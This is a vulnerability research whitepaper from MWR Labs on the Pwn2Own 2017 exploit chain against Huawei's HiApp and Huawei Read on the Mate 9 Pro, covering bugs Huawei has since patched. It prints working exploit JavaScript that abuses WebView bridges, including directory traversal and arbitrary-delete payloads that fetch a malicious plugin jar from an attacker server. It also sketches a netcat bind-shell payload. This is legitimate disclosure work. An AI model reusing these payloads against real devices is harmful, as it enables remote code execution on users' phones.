Huawei Mate 9 Pro (LON-AL00) - PWN2OWN

2018-04-26 - Alex Plaskett & James Loureiro

MWR LABS

Contents

1. Overview

This document contains the vulnerabilities which were used for Mobile Pwn2Own 2017 (https://www.thezdi.com/blog/2017/11/2/the-results-mobile-pwn2own-2017-day-two) to compromise the Huawei Mate 9 Pro (LON-AL00 variant).

The Huawei Reader issues were fixed within the patch: http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20171120-01-hwreader-en on 20/11/2017.

The Huawei HIApp vulnerabilities were fixed within the patch: http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20180423-01-app-en on the 24/04/2018.

This whitepaper will walk through the vulnerabilities found and methods used for exploitation.

2. HiApp

2.1 Whitelist Bypass

The Huawei App Market (HiApp) application exposes a BROWSABLE activity called 'com.huawei.appmarket.service.externalapi.view.ThirdApiActivity' in the form of a protocol handler which can be triggered from the built in Huawei browser (UC Browser). This is shown in the applications manifest file as follows:

```
<activity android:configChanges="orientation|screenSize" android:launchMode="singleTop"
android:name="com.huawei.appmarket.service.externalapi.view.ThirdApiActivity"
android:theme="@style/loading_activity_style">
<intent-filter>
      <action android:name="android.intent.action.VIEW" />
      <category android:name="android.intent.category.DEFAULT" />
      <category android:name="android.intent.category.BROWSABLE" />
      <data android:host="details" android:scheme="appmarket" />
      <data android:host="search" android:scheme="market" />
      <data android:host="a.vmall.com" android:scheme="https" />
      <data android:host="com.huawei.appmarket" android:scheme="hiapp" />
    </intent-filter>
```

The data value from the intent is parsed and typically contains JSON based parameters. As part of the JSON based parameters it was determined that an activityName key is passed and used to drive UI navigation flows. This can be of two values:

- activityName
- activityUri

For this vulnerability, we will consider only the case of an activityUri value being passed as part of the JSON. There are a number of activityUri's which are allowed to be provided. A selection of these activityUri's is as follows (*com.huawei.appmarket.service.c.c*):

```
public class a {
    public static void a() {
        c.a("gamereserved.activity", AppReservedActivity.class);
        c.a("purchasehistory.activity", PurchaseHistoryActivity.class);
        c.a("apptraceedit.activity", AppTraceEditActivity.class);
        c.a("permissions.activity", PermissionsActivity.class);
        c.a("pushmessage.activity", PushMessageActivity.class);
        c.a("pushdownloadalert.activity", PushDownloadAlertActivity.class);
        c.a("appdetail.activity", AppDetailActivity.class);
        c.a("appdetailreply.activity", AppDetailReplyActivity.class);
        ..
        c.a("share_dialog.activity", ShareDialogActivity.class);
        c.a("sns_share_dialog.activity", SnsShareDialogActivity.class);
        c.a("weibo_share_dialog.activity", WeiboShareDialogActivity.class);
        c.a("gallery.activity", GalleryActivity.class);
        c.a("apkmgr.activity", ApkManagementActivity.class);
        c.a("third_app_download.activity", ThirdAppDownloadActivity.class);
        c.a("webview.activity", WebViewActivity.class);
```

When reviewing this list, it was determined that it was possible to call webview.activity from the protocol handler. Our goal was to load HTML data within the WebView and within the context of Huawei HiApp.

It was determined that the WebView accepted a 'url' parameter within the JSON and used that to load content within the WebView. However, a domain white-list approach was found to be enforced to prevent content from arbitrary domains being loaded up within the App Market using the protocol handler. The code for populating and validating the whitelist is as follows (com.huawei.appmarket.service.whitelist):

```
public List b() {
        if(b.a(this.a)) {
            this.a = new ArrayList();
            this.a.clear();
            this.a.add(".*\\.hicloud\\.com$");
            this.a.add(".*\\.vmall\\.com$");
            this.a.add(".*\\.huawei\\.com$");
            Iterator v1 = com.huawei.appmarket.service.whitelist.b.a().iterator();
            do {
                if(v1.hasNext()) {
                    if(!v1.next().booleanValue()) {
                        continue;
                    }
                    break;
                }
                goto label_27;
            }
            while(true);

            this.a.add(".*\\.hwcloudtest\\.cn$");
        }
    label_27:
        return this.a;
 }
```

The following code is then used to determine if a domain is allowed to be loaded into the WebView:

```
public static boolean a(String arg3, String arg4) {
        boolean v0 = false;
        try {
            if(TextUtils.isEmpty(((CharSequence)arg3))) {
```

```
                return v0;
            }

            if(!Pattern.compile(arg3.trim()).matcher(arg4.trim()).find()) {
                return v0;
            }
        }
        catch(RuntimeException v1) {
            goto label_15;
        }

        return true;
    label_15:
        com.huawei.appmarket.sdk.foundation.b.a.a.a.d("DomainWhiteList",
v1.toString());
        retu
rn v0;
    }
```

As can be observed only subdomains of the 4 whitelisted sites can be loaded as content within the WebView due to the regex matches. However, there are no checks to determine if the content is loaded over a secure channel (HTTPS) or an insecure channel (HTTP). Therefore an attacker who is able to perform DNS spoofing (for example if a device was connected to a rogue Wi-Fi access point) would be able to load one of those domains using HTTP and impersonate that domain to get content loaded into the App Store WebView.

Therefore using the protocol handler with a valid HTTP URI and DNS interception, the following JavaScript code can be used to force the WebView to load content from a spoofed www.vmall.com domain which the attacker has control over.

```
document.location =
"hiapp://com.huawei.appmarket?activityName=activityUri|webview.activity&params={'pa
rams' : [ { 'name' : 'uri', 'type' : 'String', 'value' : 'internal_webview' }, {
'name' : 'url', 'type' : 'String', 'value' :
'http://www.vmall.com:8000/stage2.html' } ] }&channelId=1";
```

This is stage 1 of the exploit chain (*exploit/stage1.html*) and allows us to load our own content within the context of the Huawei App Market (HiApp). The next section will demonstrate how this was leveraged to further the attack.

2.2 JavaScript Bridge

At this stage the attacker has the ability to load content within the WebView of HiApp. The WebView was found to implement a JavaScript bridge, which allows JavaScript running within the context of the WebView to perform certain native actions which are exposed.

The following code shows the JavaScript Bridge being added to the WebView (*com.huawei.appmarket.service.webview.internal*):

```
this.webview.getSettings().setJavaScriptEnabled(true);
this.webview.requestFocus();
this.webview.setWebViewClient(new InternalWebViewClient(this));
this.webview.setWebChromeClient(new MarketWebChromeClient(this));
this.webview.getSettings().setBlockNetworkImage(true);
this.webview.addJavascriptInterface(new HiSpaceObject(this.mContext,
((JsCallBackOjbect)this), this.webview), "HiSpaceObject");
```

As can be seen above JavaScript is enabled within the WebView and a JavascriptInterface called “HiSpaceObject” is created within the DOM (window. HiSpaceObject).

After this the methods exposed within the JavaScript bridge were examined and attempts were made to locate further vulnerable functionality.

As part of this review the launchApp functionality was examined more in detail.

2.2.1 HiSpaceObject.launchApp

The code for this functionality is as follows (*com.huawei.appmarket.service.webview.javascript*):

```
    @JavascriptInterface public void launchApp(String arg7, String arg8) {
        URISyntaxException v1_1;
        Intent v0_1;
        a.a("HiSpaceObject", "launchApp");
        Intent v1 = new Intent();
        try {
            v0_1 = Intent.parseUri(arg8, 0);
        }
        catch(URISyntaxException v0) {
            URISyntaxException v5 = v0;
            v0_1 = v1;
            v1_1 = v5;
            goto label_15;
        }

        try {
            v0_1.setPackage(arg7);
            goto label_8;
        }
        catch(URISyntaxException v1_1) {
        }

    label_15:
```

```
            a.d("HiSpaceObject", "uri error!" + v1_1.toString());
        label_8:
            this.mActivity.startActivity(v0_1);
    }
```

As can be observed in the code above, two parameters are passed from JavaScript into the native code (arg7 and arg8).

- arg7 is the package name which will be used with setPackage() functionality.
- arg8 is the URI used to create the Intent by parsing the URI.

This is then used within the startActivity() call.

Now typically we would be limited to specifying a package name and an exported activity to start on the device. However, reading the code of Intent.java (http://androidxref.com/7.0.0_r1/xref/frameworks/base/core/java/android/content/Intent.java#4664) it was found that this could also be used to pass both data URI's and extra's to any exported activity within any package on the device.

This is a powerful primitive and it allows exploitation of other applications on the device if a vulnerable application could be identified. Since we are aiming to achieve code execution and no functionality was located within the App market to do this, other applications were then reviewed to determine if they could be leveraged for code execution.

The Huawei Read application was determined to be the next target and could be launched using the described functionality above as follows (*exploit/stage2.html*):

```
var pkg = "com.huawei.hwireader";
var uri = "android-
app://http/www.google.co.uk/#Intent;component=com.huawei.hwireader/com.zhangyue.iRe
ader.online.ui.ActivityWeb;action=com.huawei.hwireader.SHOW_DETAIL;S.url=http://192
.168.137.1:8000/stage3.html;end";
window.HiSpaceObject.launchApp(pkg,uri);
```

This was used to force the Huawei Read application to load the content from the attacker controlled webserver (http://192.168.137.1:8080) within the WebView context.

This allowed for JavaScript code execution within the context of the Huawei Read application.

3. Huawei Read

3.1 JavaScript Bridge

As shown previously in 1.2.1 the activity com.zhangyue.iReader.online.ui.ActivityWeb was triggered specifying a string extra url parameter which pointed at the attacker controlled server (`S.url=http://192.168.137.1:8000/stage3.html`) and stage3 of the exploit code.

The Java code within the onCreate (*com.zhangyue.iReader.online.ui.ActivityWeb*) function within the activity handles this is as follows:

```
protected void onCreate(Bundle arg8) {
      CharSequence v0_1;
      String v0;
      CharSequence v1 = null;
      super.onCreate(arg8);
      Intent v2 = this.getIntent();
      if(v2 != null) {
          Uri v3 = v2.getData();
          if(v3 != null) {
              v0 = v3.getScheme();
          }
          else {
              v0_1 = v1;
          }

          if(!TextUtils.isEmpty(v0_1) && (((String)v0_1).equals("hwireader"))) {
              v0 = v3.getQueryParameter("bookid");
              String v2_1 = v3.getQueryParameter("traceid");
              String v4 = v3.getQueryParameter("from");
              boolean v3_1 = v3.getBooleanQueryParameter("closeback", false);
              if(!TextUtils.isEmpty(((CharSequence)v0))) {
                  v0 = URL.URL_BOOK_ONLINE_DETAIL3 + v0;
                  if(!TextUtils.isEmpty(((CharSequence)v4))) {
                      v0 = v0 + "&hw_appkey=" + v4;
                  }

                  if(TextUtils.isEmpty(((CharSequence)v2_1))) {
                      goto label_47;
                  }

                  v0 = v0 + "&hw_traceid=" + v2_1;
              }
```

```
                else {
                    v0_1 = v1;
                }

            label_47:
                if(TextUtils.isEmpty(v0_1)) {
                    goto label_51;
                }

                this.mIsCloseBack = v3_1;
                this.loadRefreshUrl(((String)v0_1));
                goto label_51;
            }

            v0 = v2.getStringExtra("url");
            if(TextUtils.isEmpty(((CharSequence)v0))) {
                goto label_51;
            }

            this.loadRefreshUrl(v0);
        }
```

The highlighted code allows the attacker controlled 'url' parameter to be loaded up within the context of the Huawei Read application's WebView.

The code for establishing the WebView and JavaScript bridge is as follows (*com.zhangyue.iReader.online.ui.CustomWebView*):

```
this.mJavascriptAction = new JavascriptAction(((AbsDownloadWebView)this));
WebSettings v0_1 = this.getSettings();
v0_1.setJavaScriptEnabled(true);
v0_1.setCacheMode(0xFFFFFFFF);
v0_1.setDomStorageEnabled(true);
v0_1.setSavePassword(false);
v0_1.setSaveFormData(false);
v0_1.setAppCacheEnabled(true);
v0_1.setAppCachePath(PATH.getCacheDir());
v0_1.setAppCacheMaxSize(0x3200000);
v0_1.setSupportZoom(true);
v0_1.setTextSize(WebSettings$TextSize.NORMAL);
this.addJavascriptInterface(this.mJavascriptAction, "ZhangYueJS");
```

As can be seen the 'ZhangYueJS' object is exposed within the WebView DOM and can be used by JavaScript executing within the WebView.

The next steps were to examine the methods exposed by this WebView to determine if this could be used to achieve code execution (JavaScriptAction). A number of weaknesses were identified within this WebView which allowed for arbitrary code execution to be achieved.

3.2 Arbitrary Download / Directory Traversal

The first weakness identified was the ability to download arbitrary content. This functionality is intended to be used for downloading books (such as EPUB files), however, can be abused by an attacker to download anything they wish.

A directory traversal vulnerability was also located within this code, allowing an attacker to write this arbitrary content to locations unexpected by the application. This was abused by writing to a location where plugins were loaded from and therefore code execution was achieved. This step will be described further in the following section on Insecure Class Loading (2.4).

Initially the 'do_command' functionality is exposed within the DOM. This function takes JSON from JavaScript and then uses it to call a number of native methods based on parameters passed. This is shown as follows (*com.zhangyue.iReader.online.JavascriptAction*):

```
@JavascriptInterface public void do_command(String arg9) {
        l v3_4;
        String v2_4;
        Activity v3;
        Context v3_1;
        Context v2;
        LOG.E("dalongTest", "----------------------------do_command--------------------------
");
        if(this.a == null || !(this.a.getContext() instanceof Activity)) {
            Activity v2_1 = APP.getCurrActivity();
        }
        else {
            v2 = this.a.getContext();
        }

        if(v2 == null || ((Activity)v2).getParent() == null) {
            v3_1 = v2;
        }
        else {
            v3 = ((Activity)v2).getParent();
        }

        try {
            Object v2_3 = new JSONTokener(arg9).nextValue();
            String v4 = ((JSONObject)v2_3).getString("Action");
            LOG.I("js", "actionName:" + v4);
```

```
…
          JSONObject v5 = ((JSONObject)v2_3).getJSONObject("Data");
…
          if(v4.equalsIgnoreCase("onlineReader")) {
                 JSProtocol.mJSBookProtocol.online(v5);
                 return;
             }

             if(v4.equalsIgnoreCase("readNow")) {
                 JSProtocol.mJSBookProtocol.readNow(v5);
                 return;
             }
```

The first part of this functionality which was abused was the 'onlineReader' and 'readNow' functionality. Both of these functions result in a download occurring where the attacker has control over both the location for the download and the filename in which the download will be saved as.

Following the code through from the 'onlineReader' JSON parameter, we can see the following code flow being taken (*com.zhangyue.iReader.protocol.JSBookProtocol*):

```
    public void online(JSONObject arg3) {
        this.download(arg3, true, false);
    }

public void download(JSONObject arg3, boolean arg4, boolean arg5) {
        try {
            if(!arg3.getJSONObject("Charging").getString("Price").equals("0")) {
                this.originalDownload(arg3, arg4, arg5);
                return;
            }

            this.originalDownload(arg3, arg4, arg5);
        }
        catch(JSONException v0) {
            v0.printStackTrace();
        }
    }
```

The ‘originalDownload’ function extracts the parameters from the JSON passed into the JavaScript bridge code to the Java Code in order to perform the download. The following code demonstrates this:

```
public void originalDownload(JSONObject arg19, boolean arg20, boolean arg21) {
        String v11_1;
        String v1_5;
        HashMap v1_4;
        ArrayList v6_1;
        JSONArray v3_1;
        JSONObject v1_2;
        String v5_1;
        int v9;
        String v6;
        String v3;
        boolean v15;
        int v14;
        int v4_1;
        String v10;
        int v8;
        int v2;
        int v1_1;
        String v4;
        JSONObject v12;
        JSONObject v11;
        JSONObject v7;
        try {
            r.i().a(false);
            v7 = arg19.getJSONObject("DownloadInfo");
            v11 = arg19.getJSONObject("Charging");
            v12 = arg19.optJSONObject("bookCatalog");
            v4 = "";
            v1_1 = 0;
            if(v12 != null) {
                JSONObject v5 = v12.optJSONObject("data");
                v1_1 = v12.optInt("type");
                if(v5 != null) {
                    v4 = v5.optString("genreName");
                    v2 = v5.optInt("genreId");
                    v8 = v5.optInt("orderId");
                    v10 = v4;
                    v4_1 = v2;
                }
                else {
```

```
                    goto label_358;
                }
            }
            else {
                goto label_358;
            }

            goto label_31;
        }
        catch(Exception v1) {
            goto label_130;
        }

    label_358:
        v8 = 0;
        v10 = v4;
        v4_1 = 0;
        try {
        label_31:
            int v13 = v7.getInt("Type");
            v14 = v7.optInt("Version");
            v15 = v7.optBoolean("getDrmAuth", true);
            v3 = PATH.getBookDir() + v7.getString("FileName");
            v2 = v7.getInt("FileId");
            v6 = v7.getString("DownloadUrl");
            v9 = 0xFFFFFFFF;
            if(v13 == 2 && (v7.has("ChapterId"))) {
                v9 = v7.getInt("ChapterId") - 1;
            }

            v5_1 = "";
            if(!v11.getString("Price").equals("0")) {
                v5_1 = v11.getString("OrderUrl");
            }
```

…

What is most interesting from an attacker perspective are these two lines:

```
v3 = PATH.getBookDir() + v7.getString("FileName");
v6 = v7.getString("DownloadUrl");
```

This shows that the attacker controls both the ‘FileName’ parameter and the ‘DownloadUrl’ parameter. To understand what the FileName parameter is used for, we need to look into the getBookDir() function.

```
public static String getBookDir() {
        return PATH.getWorkDir() + "/books/";
    }
  public static String getWorkDir() {
        return SDCARD.getStorageDir() + PATH.HW_ROOT_DIR;
    }

public static String getStorageDir() {
        return SDCARD.a();
    }

private static String a() {
        String v0 = "";
        if(!TextUtils.isEmpty(SDCARD.b)) {
            v0 = SDCARD.b;
        }
        else if(SDCARD.hasSdcard()) {
            v0 = Environment.getExternalStorageDirectory().toString();
            SDCARD.b = v0;
        }

        return v0 + "/";
    }
```

As we can see from the code above, the PATH.getBookDir() is set to /sdcard/HWiReader/books/ concatenated with the 'FileName' parameter passed from the JSON. There are no sanity checks on this filename and no path canonicalization. Therefore it is possible to construct a filename which traverses outside of the books directory and allows us to write to any location on the SDCard (or location which the application has write access to).

As part of the exploit code we use this primitive to write a file to a location outside of the books directory using a directory traversal based on the 'FileName' parameter. This is shown as follows (contained within *exploit/stage3.html*):

```
function download_plugin()
{
      document.writeln("++ Downloading replacement classes.jar ++<br>");
      // It should be noted that FileId needs to be unique for the download to work
correctly...
      var json =
'{"Action":"onlineReader","Data":{"Charging":{"FeeType":0,"OrderUrl":"http://192.168.137.1:8
001/aaaaa","Price":"0"},"DownloadInfo":{"ChapterId":"1","FeeUnit":10,"Type":"1","FileId":"'
+ PLUGIN_FILE_ID +
'","FileName":"../plugins/DFService/classes.jar","FileSize":10000000,"Ebk3DownloadUrl":"' +
PLUGIN_URI + '","DownloadUrl":"' + PLUGIN_URI + '","Version":"2"}}}';
```

```
        window.ZhangYueJS.do_command(json);
}
```

However, currently exploitation is limited at this stage due to only being able to write to non-existent file paths as this vulnerability does not allow for files to be overwritten. Therefore other functionality was reviewed to determine if an arbitrary delete primitive could be located and used before a download was triggered. This way it would be possible to delete and replace an existing file which may be used by an application accessing the SDCard.

3.3 Arbitrary Delete

Another method within the JavaScript bridge code was found which could be abused for an arbitrary delete on the SDCard provided the filename was known prior to calling the functionality (The file to be replaced was enumerated as described in Insecure Plugin Loading section (2.4)).

To perform this stage of the attack the following code path was triggered from JavaScript (*com.zhangyue.iReader.protocol.JSBookProtocol*):

```
if(v4.equalsIgnoreCase("chapPackDownload")) {
    JSProtocol.mJSBookProtocol.onChapPack(v5);
    return;
 }

   public boolean onChapPack(JSONObject arg10) {
        boolean v0_2;
        try {
            int v3 = arg10.getInt("StartIndex");
            int v4 = arg10.getInt("EndIndex");
            String v2 = arg10.getString("Price");
            int v1 = arg10.getInt("BookId");
            String v5 = arg10.getString("PayURL");
            String v0_1 = arg10.getString("DownloadURL");
            String v7 = PATH.getBookDir() + arg10.getString("FileName");
            if((FILE.isExist(PATH.getBookNameCheckOpenFail(v7))) && Device.getNetType() !=
0xFFFFFFFF) {
                FILE.delete(PATH.getBookCachePathNamePostfix(v7));
                FILE.delete(v7);
            }
```

Since we control the 'FileName' parameter as it is also passed from the JSON into the WebBridge and is vulnerable to directory traversal, we can control the parameter which gets passed to

getBookNameCheckOpenFail(v7). This function performs the following operation (*com.zhangyue.iReader.app.PATH*):

```
public static String getBookNameCheckOpenFail(String arg2) {
        return PATH.getOpenFailDir() + MD5.getMD5(arg2);
    }

public static String getOpenFailDir() {
        return PATH.getWorkDir() + "/books/.openfail/";
    }
```

An MD5 is calculated of the file name passed and prepended with '/sdcard/HWiReader/books/.openfail/. This is then returned back to the caller and used as a check to determine if that file exists.

If that file does exist then a cached book path is deleted and, most critical to us, the path 'v7' is entirely attacker controlled and is the path of the file in which we want deleted.

Therefore, if we calculate an MD5 of a directory traversal string which we want deleted and create this file, then our directory traversal will be followed and our requested file deleted, which can be seen with this example:

```
5457bea93d0548a4d84357308df45322 = ../plugins/DFService/classes.jar
```

So by creating the file ('create_hash' function within exploit/stage3.html code):

```
/sdcard/HWiReader/books/.openfail/5457bea93d0548a4d84357308df45322
```

The following file will be deleted:

```
/sdcard/HWiReader/books/../plugins/DFService/classes.jar
```

This allows us to delete a 'jar' file which is stored on the SDCard, the exploitation of which will be covered in the next section as part of the exploit chain 'delete_file' function within the exploit/stage3.html code.

The relevant exploit code is as follows:

```
// Step1. First create a "failed" download with the MD5 of the file we want to delete
(../plugins/DFService/classes.jar) = 5457bea93d0548a4d84357308df45322
function create_hash()
{
       document.writeln("++ Creating hash ++<br>");

       var json =
'{"Action":"onlineReader","Data":{"Charging":{"FeeType":0,"OrderUrl":"http://192.168.137.1:8
001/aaaaa","Price":"0"},"DownloadInfo":{"ChapterId":"1","FeeUnit":10,"Type":"1","FileId":"'
+ HASH_FILE_ID +
```

```
'","FileName":".openfail/5457bea93d0548a4d84357308df45322","FileSize":10000000,"Ebk3Download
Url":"' + HASH_URI + '","DownloadUrl":"' + HASH_URI + '","Version":"2"}}}';

       //alert(json);

       window.ZhangYueJS.do_command(json);
}

// Step2. Use onChapPack FileName to delete the existing classes.dex we want to hijack.
function delete_file()
{
       document.write("++ Deleting existing classes.jar ++<br>");

       var json = '{"Action":"chapPackDownload","Data":{ "StartIndex": 0, "EndIndex" : 0,
"Price" : "0", "BookId" : 0, "PayURL" : 0, "DownloadURL" : "aaa", "FileName" :
"../plugins/DFService/classes.jar" } }';
       window.ZhangYueJS.do_command(json);

       // Now trigger the replacement steps
       download_plugin();
       setTimeout(step3,STEP3_TIMEOUT);
}
```

3.4 Insecure Plugin Loading

In order to obtain code execution, an existing Java archive file was replaced which was located on the SDCard, and then the application was triggered to perform loading of this archive file to obtain code execution.

It was determined that the Huawei Read application stored plugins insecurely on the SDCard and therefore was a prime candidate for this attack. As shown previously within the directory traversal section, the insecure class loading was found to load a 'jar' file from the following path: '*/sdcard/HWiReader/plugins/DFService/classes.jar*'.

The code handling the insecure plugin loading is as follows (*com.zhangyue.iReader.tools.Util*):

```
  public static Class loadPlug(Context arg4, String arg5, String arg6) throws Exception {
        return new DexClassLoader(arg5, arg4.getApplicationInfo().dataDir, null,
arg4.getClassLoader()).loadClass(arg6);
    }
```

This is called by the following function (*bk.p*):

```
    protected final ArrayList P() {
        if(p.R == null) {
            try {
```

```
                PlatForm v3 = new PlatForm();
                Object v2 = Util.loadPlug(APP.getAppContext(), v3.getPlugDir("DFService") +
"classes.jar", "com.zhangyue.iReader.Plug.Service.DocFeature").newInstance();
                v2.setPlatform(((IPlatform)v3));
                p.R = ((IPlugDFService)v2);
            }
            catch(UnsatisfiedLinkError v1) {
                v1.printStackTrace();
            }
            catch(Exception v1_1) {
                v1_1.printStackTrace();
            }
        }

        ArrayList v1_2 = p.R == null ? null : this.Q();
        return v1_2;
    }

public static String getPlugDir(String arg2) {
        String v0 = PluginUtil.isWebPlugin(arg2) ? PATH.getInsidePluginPath() + arg2 + "/" :
PATH.getPluginBaseDir() + arg2 + "/";
        return v0;
}

public static String getPluginBaseDir() {
        PATH.a = SDCARD.getStorageDir();
        return PATH.a + PATH.HW_ROOT_DIR + "/plugins/";
}
```

The plugin directory is specified as being loaded from the SDCard when it is not a WebPlugin. In this case, by deleting the existing plugin and replacing it with an attacker controlled payload, the plugin would be in the correct location needed by the DexClassLoader.

Therefore, after the delete has occurred, the 'download_plugin' function detailed previously in the write-up can be used to replace the existing plugin from JavaScript:

```
 function download_plugin()
{
      document.writeln("++ Downloading replacement classes.jar ++<br>");
      // It should be noted that FileId needs to be unique for the download to work
correctly...
      var json =
'{"Action":"onlineReader","Data":{"Charging":{"FeeType":0,"OrderUrl":"http://192.168.137.1:8
```

```
001/aaaaa","Price":"0"},"DownloadInfo":{"ChapterId":"1","FeeUnit":10,"Type":"1","FileId":"'
+ PLUGIN_FILE_ID +
'","FileName":"../plugins/DFService/classes.jar","FileSize":10000000,"Ebk3DownloadUrl":"' +
PLUGIN_URI + '","DownloadUrl":"' + PLUGIN_URI + '","Version":"2"}}}';


      window.ZhangYueJS.do_command(json);
}
```

However, in order to gain code execution, it is necessary to trigger plugin loading. This can be achieved by downloading a file of type 'txt', which then triggers the plugin loading code path and attacker code execution is gained.

The following proof of concept code demonstrates this (with *exploit/stage3.html*):

```
// Step4. Download a text file to be used to trigger plugin loading and the
DexClassLoader - FileID's should be the same in download and load functions..

function download_text()

{

      document.writeln("++ Downloading text file ++<br>");

      var json =
'{"Action":"readNow","Data":{"Charging":{"FeeType":0,"OrderUrl":"http://192.168.137
.1:8001/aaaaa","Price":"0"},"DownloadInfo":{"ChapterId":"1","FeeUnit":10,"Type":"1"
,"FileId":"' + TEXT_FILE_ID + '","FileName":"' + TEXT_FILE_NAME +
'","FileSize":10000000,"Ebk3DownloadUrl":"' + TEXT_URI + '","DownloadUrl":"' +
TEXT_URI + '","Version":"2"}}}';

      window.ZhangYueJS.do_command(json);

      setTimeout(trigger_plugin_load,DELAY_TIMEOUT);

}



// Step5. Trigger the DexClassLoader to load with the new "plugin" with a TXT.

function trigger_plugin_load()

{

      document.writeln("++ Triggering DexClassLoader with payload ++<br>");

      var json =
'{"Action":"readNow","Data":{"Charging":{"FeeType":0,"OrderUrl":"http://192.168.137
.1:8001/aaaaa","Price":"0"},"DownloadInfo":{"ChapterId":"1","FeeUnit":10,"Type":"1"
,"FileId":"' + TEXT_FILE_ID + '","FileName":"' + TEXT_FILE_NAME +
'","FileSize":10000000,"Ebk3DownloadUrl":"' + TEXT_URI + '","DownloadUrl":"' +
TEXT_URI + '","Version":"2"}}}';
```

```
        window.ZhangYueJS.do_command(json);
}
```

At this point all that remains is to create a Java payload which implements the correct class and will be instantiated by the loader. This is described in the following section on payload creation.

3.5 Payload Creation

The DexClassLoader attempts to load the file "/sdcard/HWiReader/plugins/DFService/classes.jar" which we have control over as mentioned previously. For this to work the jar needs to be in the correct format, where the constructor will be called automatically. This was achieved using the following code:

```
package com.zhangyue.iReader.Plug.Service;

import android.util.Log;

public class DocFeature {
    public DocFeature() {
        // com.zhangyue.iReader.Plug.Service.DocFeature
        Log.e("ATTACKER","RUNNING ARBITRARY CODE!");
    }
}
```

3.5.1 Netcat Bind Shell

In order to demonstrate code execution, busybox with a netcat listener was used to create a bind shell.

The following steps are performed:

- The busybox payload is downloaded from AWS
- It is then copied to the application sandbox and permissions set
- Finally it is executed to start a bind shell running.

Connecting to the device we achieve the following UID with code execution:

```
uid=10107(u0_a107) gid=10107(u0_a107)
groups=10107(u0_a107),3003(inet),9997(everybody),50107(all_a107)
context=u:r:untrusted_app:s0:c512,c768
```

Appendix I - Versions Tested

```
Huawei Read - 8.0.1.303
HiApp - 7.3.0.305
```

labs.mwrinfosecurity.com

Follow us:

MWR InfoSecurity